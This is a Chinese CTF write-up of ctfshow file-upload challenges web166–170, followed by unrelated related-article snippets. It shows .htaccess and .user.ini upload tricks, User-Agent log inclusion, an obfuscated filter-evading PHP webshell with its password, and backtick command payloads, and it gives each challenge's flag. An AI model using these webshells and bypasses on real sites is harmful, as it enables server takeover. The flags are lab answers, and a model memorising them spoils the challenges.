当前位置: 首页 > news >正文

ctfshow-web入门-文件上传(web166、web167)(web168-web170)免杀绕过

目录

1、web166

2、web167

3、web168

4、web169

5、web170


1、web166

查看源码,前端只让传 zip

上传 zip 成功后可以进行下载 

随便搞一个压缩包,使用记事本编辑,在其内容里插入一句话木马:

上传该压缩包,上传成功后点击下载文件,使用 burpsuite 抓包:

我这里木马内容用的 request ,就在 get 里执行 ls 没什么问题,但是读取 flag 时识别有点问题,最好使用 post 请求,因此将请求方法改为 post ,将 file 的内容还原到上面。

读取 flag:

ctfshow{f98c6ba4-e71a-46bf-b7c3-846db8cc08d7}

后面发现转为 get 方法其实也是可以的,注意添加一个加号进行拼接,而不是用空格:

2、web167

提示:httpd

.htaccess 文件是 Apache HTTP 服务器的目录级配置文件,它允许用户覆盖 Web 服务器的系统范围设置,而无需修改全局配置文件(例如 httpd.conf 或 apache2.conf)。

这里我们可以通过上传 .htaccess 文件,其内容设置如下:

<FilesMatch ".jpg">SetHandler application/x-httpd-php
</FilesMatch>

这里先改为 jpg 上传绕过前端限制后再改回 .htaccess 放包:

这个配置文件上传成功后,就会使 jpg 后缀的文件都被当做 php 文件解析。

接下来我们直接将一句话木马改为 jpg 后缀上传:

点击下载文件即可访问到一句话木马:

空白,说明上传解析成功。

调用:

看一下上层目录:

读取 flag.php:

拿到 flag:ctfshow{ba49b0f7-b8f9-447d-b1d3-118311c3d829}

3、web168

前端还是只能传 png

使用 burpsuite 抓包,改后缀重放回显 null

什么都没有回显

做了一下 fuzz 测试:

单个的字符都是没问题的,但是合在一起传的内容就有问题,并不是像前面对内容进行过滤那样简单,查看提示:基础免杀。

经过测试,正常内容可以上传,并且对 php 文件没有后缀限制:

 

文件会被上传到 upload 目录下: 

phpinfo 也可以正常上传并解析: 

无论是正常的 php 代码还是短标签的格式:

测试关键字:eval、system、assert、$_POST

均返回 null,猜测应该是过滤掉了一些危险函数和关键字

做了一下拼接绕过:

<?php$a="e"."v";$b="a"."l";$c=$a.$b;$c($_REQUEST['cmd']);
?>

但是访问的时候报错:

看来不光是过滤关键字,这些高位函数在 PHP 配置中也被禁用了。

在网上找到了一个免杀的木马:

<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

连接密码: TyKPuntU 

调用:

查看上一层目录:

TyKPuntU=system('ls ../');

存在 flag.php 和 flagaa.php,先读取 flag.php:

TyKPuntU=system('tac ../flag.php');

不是,那么再读取 flagaa.php:

TyKPuntU=system('tac ../flagaa.php');

拿到 flag:ctfshow{eec273d2-c16e-4772-bc11-b9d3587af55b} 

如果这里不上一句话木马,我们还可以使用反引号来执行命令:

<?=`ls ..`;

读取 flag:

<?=`tac ../flagaa.php`;

4、web169

高级免杀

前端只能传 zip,抓包绕过即可 

但是在后端上传发现不行,这段 unicode 编码在前面遇到过,文件类型没对。

需要修改 content-type 为:image/png

至于文件后缀并不影响,php 也可以:

测一下上一题的木马,过不了:

这里直接把尖括号(大于小于号)都给毙掉了:

想直接写进去很难了,采用日志文件包含:

先上传配置文件 .user.ini,也需要改文件类型为 png 图片类型

可以上传成功,再在  ua 头里面插入我们希望执行的 php代码,再次发送: 

访问 upload 目录,返回 403,应该是 upload 目录下没有 php 文件:

我们随便传一个上去:

访问 /upload/1.php

遇到报错:

 可能前面传得太乱了,重启容器,重新传 php 文件和配置文件:

再次访问 /upload/1.php,可以看到 ls ../ 执行成功:

读取 flag:

拿到 flag:ctfshow{5e939b5c-d235-43ae-9b2b-22c0387a9278}

5、web170

终极免杀

 方法与上一题一样,也是采用日志包含。

传配置文件:

这里的 payload 就直接读 flag 了:

传 php 文件:

这次直接传 index.php,内容为空,一会儿直接访问 upload 目录即可看到回显。

拿到 flag:ctfshow{719e6a2b-7309-4fe1-964b-8ba79bcbb809}

CTFshow-Web 入门系列的文件上传至此结束。

Myon,2024.7.11

相关文章:

ctfshow-web入门-文件上传(web166、web167)(web168-web170)免杀绕过

目录 1、web166 2、web167 3、web168 4、web169 5、web170 1、web166 查看源码&#xff0c;前端只让传 zip 上传 zip 成功后可以进行下载 随便搞一个压缩包&#xff0c;使用记事本编辑&#xff0c;在其内容里插入一句话木马&#xff1a; 上传该压缩包&#xff0c;上传成功…...

Jitsi Meet指定用户成为主持人

前言 在Jitsi Meet进行会议的时候&#xff0c;我们有可能会使用到预约会议的这一个功能&#xff0c;预约会议的时候&#xff0c;我们希望我预约的会议&#xff0c;我就是主持人&#xff0c;而不希望其他人是主持人。 但是Jitsi Meet默认会认为第一个进入房间的是主持人&#…...

MySQL慢查询日志详解与性能优化指南

1. 什么是慢查询日志 慢查询日志是MySQL提供的一种日志记录功能&#xff0c;它能够记录执行时间超过预设阈值的SQL查询语句&#xff0c;并将这些信息写入到日志文件中。 2. 查看慢查询日志的设置和状态 2.1 慢查询日志的开启状态和日志文件位置 通过以下命令可以查看慢查询…...

xml CDATA

]]>之间的任何内容标记为字符数据。内容不会被解释为标记。 <![CDATA[这里的任何文本&#xff0c;即使是也被解释为文本而不是起始标签]]> 这是什么意思? 这段描述解释了XML中CDATA部分的作用和用法。让我来详细解释一下&#xff1a; CDATA&#xff08;Character Da…...

C++的线程管理

C的线程管理 线程类&#xff08;Thread&#xff09;线程构造器约定构造器初始化构造器复制构造器移动构造器 多线程atomiccondition_variable应用实列 futurepromise应用实列 future应用实列 线程类&#xff08;Thread&#xff09; 执行线程是一个指令序列&#xff0c;它可以在…...

捷配笔记-如何设计PCB板布线满足生产标准?

PCB板布线是铺设连接各种设备与通电信号的路径的过程。PCB板布线是铺设连接各种设备与通电信号的路径的过程。 在PCB设计中&#xff0c;布线是完成产品设计的重要步骤。可以说&#xff0c;之前的准备工作已经为它做好了。在整个PCB设计中&#xff0c;布线设计过程具有最高的极限…...

【Java数据结构】初识线性表之一:顺序表

使用Java简单实现一个顺序表 顺序表是用一段物理地址连续的存储单元依次存储数据元素的线性结构&#xff0c;一般情况下采用数组存储。在数组上完成数据的增删查改。 线性表大致包含如下的一些方法&#xff1a; public class MyArrayList { private int[] array; pri…...

对接高德开放平台API

高德开放平台API&#xff1a; https://lbs.amap.com/ 一、天气查询 天气查询: https://lbs.amap.com/api/webservice/guide/api/weatherinfo adcode城市码表下载: https://lbs.amap.com/api/webservice/download Component public class WeatherUtil {Resourceprivate GdCon…...

Linux 初识

目录 ​编辑 1.Linux发展史 1.1UNIX发展历史 1.2Linux发展历史 2.Linux的开源属性 2.1 开源软件的定义 2.2 Linux的开源许可证 2.3 开源社区与协作 3.Linux的企业应用现状 3.1 服务器 3.1.1 Web服务器 3.1.2 数据库服务器 3.1.3 文件服务器 3.1.4 电子邮件服务器 …...

CSS技巧专栏:一日一例 4.纯CSS实现两款流光溢彩的酷炫按钮特效

大家好&#xff0c;今天是 CSS技巧专栏&#xff1a;一日一例 第三篇《纯CSS实现两款流光溢彩的酷炫按钮特效》 先看图&#xff1a; 特此说明&#xff1a; 本专题专注于讲解如何使用CSS制作按钮特效。前置的准备工作和按钮的基本样式&#xff0c;都在本专栏第一篇文章中又详细…...

int类型变量表示范围的计算原理

文章目录 1. 了解2. 为什么通常情况下int类型整数的取值范围是-2147483648 ~ 21474836473. int类型究竟占几个字节4. 推荐 1. 了解 通常情况下int类型变量占4个字节&#xff0c;1个字节有8位&#xff0c;每位都有0和1两种状态&#xff0c;所以int类型变量一共可以表示 2^32 种状…...

STM32崩溃问题排查

文章目录 前言1. 问题说明2. STM32&#xff08;Cortex M4内核&#xff09;的寄存器3. 崩溃问题分析3.1 崩溃信息的来源是哪里&#xff1f;3.2 崩溃信息中的每个关键字代表的含义3.3 利用崩溃信息去查找造成崩溃的点3.4 keil5中怎么根据地址找到问题点3.5 keil5上编译时怎么输出…...

CSS 【详解】样式选择器(含ID、类、标签、通配、属性、伪类、伪元素、Content属性、子代、后代、兄弟、相邻兄弟、交集、并集等选择器)

CSS 样式选择器&#xff0c;用于选中页面中的 html 元素&#xff0c;以便添加 CSS 样式。 按渲染性能由高到低 依次是&#xff1a; ID 选择器 #id 通过元素的 id 属性选中元素&#xff0c;区分大小写 <p id"p1" >第一段</p>#p1{color: red; }但不推荐使…...

CMakeLists.txt编写思路

近期在linux编写CMakeLists.txt文件&#xff0c;整理了一些思路。 一、编写CMakeLists.txt的基本步骤和思路&#xff1a; 初始化CMake&#xff1a; 使用cmake_minimum_required指令指定CMake的最小版本要求&#xff0c;以确保兼容性。使用project指令定义项目名称和可选的语言…...

红日靶场----(三)2.漏洞利用

上期的通过一句话木马实现对目标主机的持久后门 我使用的是蚁剑&#xff0c;蚁剑安装及使用参考&#xff1a; 下载地址&#xff1a; GitHub - AntSwordProject/AntSword-Loader: AntSword 加载器 安装即使用&#xff1a; 1. 快速入门 语雀 通过YXCMS的后台GETSHELL 利用…...

LeetCode HOT100(三)滑动窗口

子数组最大平均数 I &#xff08;非hot100&#xff0c;但是滑动窗口的思想可以很好的体现&#xff0c;入门滑动窗口很好的题&#xff09; 给你一个由 n 个元素组成的整数数组 nums 和一个整数 k 。 请你找出平均数最大且 长度为 k 的连续子数组&#xff0c;并输出该最大平均数…...

数学系C++ 排序算法简述(八)

目录 排序 选择排序 O(n2) 不稳定&#xff1a;48429 归并排序 O(n log n) 稳定 插入排序 O(n2) 堆排序 O(n log n) 希尔排序 O(n log2 n) 图书馆排序 O(n log n) 冒泡排序 O(n2) 优化&#xff1a; 基数排序 O(n k) 快速排序 O(n log n)【分治】 不稳定 桶排序 O(n…...

记一下blender曲线阵列

先说一下如何正常使用这个 这一次我是用来贴瓷砖 随便创建一个mesh 然后添加一个阵列修改器&#xff0c;然后再给他添加一个curve修改器&#xff0c;使用constant offset去偏移他 这里有个小细节 我第一次创建的curve 我选取之后&#xff0c;死活无法沿着曲线阵列&#xff…...

Windows电脑安装Python结合内网穿透轻松搭建可公网访问私有网盘

文章目录 前言1.本地文件服务器搭建1.1.Python的安装和设置1.2.cpolar的安装和注册 2.本地文件服务器的发布2.1.Cpolar云端设置2.2.Cpolar本地设置 3.公网访问测试4.结语 前言 本文主要介绍如何在Windows系统电脑上使用python这样的简单程序语言&#xff0c;在自己的电脑上搭建…...

react hooks antd 父组件取子组件form表单的值

在React中&#xff0c;父组件可以使用ref来访问子组件的方法或属性。子组件包含一个表单&#xff0c; 使用forwardRef、useImperativeHandle&#xff1a;forwardRef允许组件使用ref将 DOM 节点暴露给父组件&#xff0c;使用useImperativeHandle暴露方法给父组件。 子组件&#…...

终极ncmdumpGUI指南:3步快速解密网易云音乐NCM文件

终极ncmdumpGUI指南&#xff1a;3步快速解密网易云音乐NCM文件 【免费下载链接】ncmdumpGUI C#版本网易云音乐ncm文件格式转换&#xff0c;Windows图形界面版本 项目地址: https://gitcode.com/gh_mirrors/nc/ncmdumpGUI ncmdumpGUI是一款基于C#开发的Windows图形界面工…...

ARM NEON SIMD指令集:VMAX与VMIN向量运算详解

1. ARM SIMD指令集基础与向量运算概述在移动计算和嵌入式系统领域&#xff0c;ARM架构凭借其出色的能效比占据了主导地位。随着应用对计算性能需求的不断提升&#xff0c;SIMD&#xff08;单指令多数据&#xff09;技术成为提升处理器并行计算能力的关键手段。ARM的Advanced SI…...

Tracy安全最佳实践:开发与生产环境的安全配置指南

Tracy安全最佳实践&#xff1a;开发与生产环境的安全配置指南 【免费下载链接】tracy &#x1f60e; Tracy: the addictive tool to ease debugging PHP code for cool developers. Friendly design, logging, profiler, advanced features like debugging AJAX calls or CLI s…...

完整教程:DIY-Multiprotocol-TX-Module固件编译与烧录

完整教程&#xff1a;DIY-Multiprotocol-TX-Module固件编译与烧录 【免费下载链接】DIY-Multiprotocol-TX-Module Multiprotocol TX Module (or MULTI-Module) is a 2.4GHz transmitter module which controls many different receivers and models. 项目地址: https://gitco…...

护眼钢化膜是智商税?圆偏振光+AR降反射实测,观复盾用硬核技术给出答案

护眼钢化膜是智商税&#xff1f;圆偏振光AR降反射实测&#xff0c;观复盾用硬核技术给出答案“花上百块买的护眼钢化膜&#xff0c;贴上后屏幕又黄又暗&#xff0c;眼睛反而更累了。”这样的抱怨在数码社区里比比皆是。与此同时&#xff0c;也有用户表示换了圆偏振光膜后&#…...

对比自行维护多个 API 密钥,使用 Taotoken 在管理上轻松许多

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 对比自行维护多个 API 密钥&#xff0c;使用 Taotoken 在管理上轻松许多 作为一名个人开发者&#xff0c;我曾长期在多个大模型服务…...

基于MCP协议为Gemini模型构建安全可控的外部工具链

1. 项目概述&#xff1a;当MCP遇上Gemini&#xff0c;一个AI代理的“瑞士军刀”诞生了如果你最近在折腾AI Agent&#xff08;智能体&#xff09;或者RAG&#xff08;检索增强生成&#xff09;应用&#xff0c;大概率听说过“Model Context Protocol”&#xff0c;也就是MCP。简…...

中美Agent生态的路径差异——《重构与崛起——OpenClaw时代的中国Agent产业生态报告》解读三

易观分析&#xff1a;面对OpenClaw掀起的全球AI Agent技术浪潮&#xff0c;中美两国走出截然不同的发展路径。美国生态追求底层框架与协议的原创定义&#xff1b;而中国生态以应用驱动、平台绑定和合规先行为核心逻辑&#xff0c;快速将前沿技术转化为可落地的商业现实。这两条…...

别再手动折腾了!用Docker Compose 5分钟搞定Kamailio + MySQL + RTPproxy完整SIP服务栈

5分钟极速搭建Kamailio SIP服务栈&#xff1a;Docker Compose实战指南 在VoIP开发领域&#xff0c;快速搭建可靠的SIP服务环境是每个开发者都会遇到的基础需求。传统的手动部署方式往往需要数小时甚至更长时间&#xff0c;涉及复杂的依赖安装、配置文件修改和服务调优。而今天&…...

数据血缘是什么?怎么建设数据血缘?

今年跟十几个企业老板聊AI落地&#xff0c;发现大家都有一个共识&#xff1a;不上AI是等死&#xff0c;乱上AI是找死。为什么&#xff1f;因为AI这玩意儿就像顶级厨师&#xff0c;食材不新鲜、来历不明&#xff0c;做出来的菜照样能毒倒一片。这里的食材&#xff0c;就是数据。…...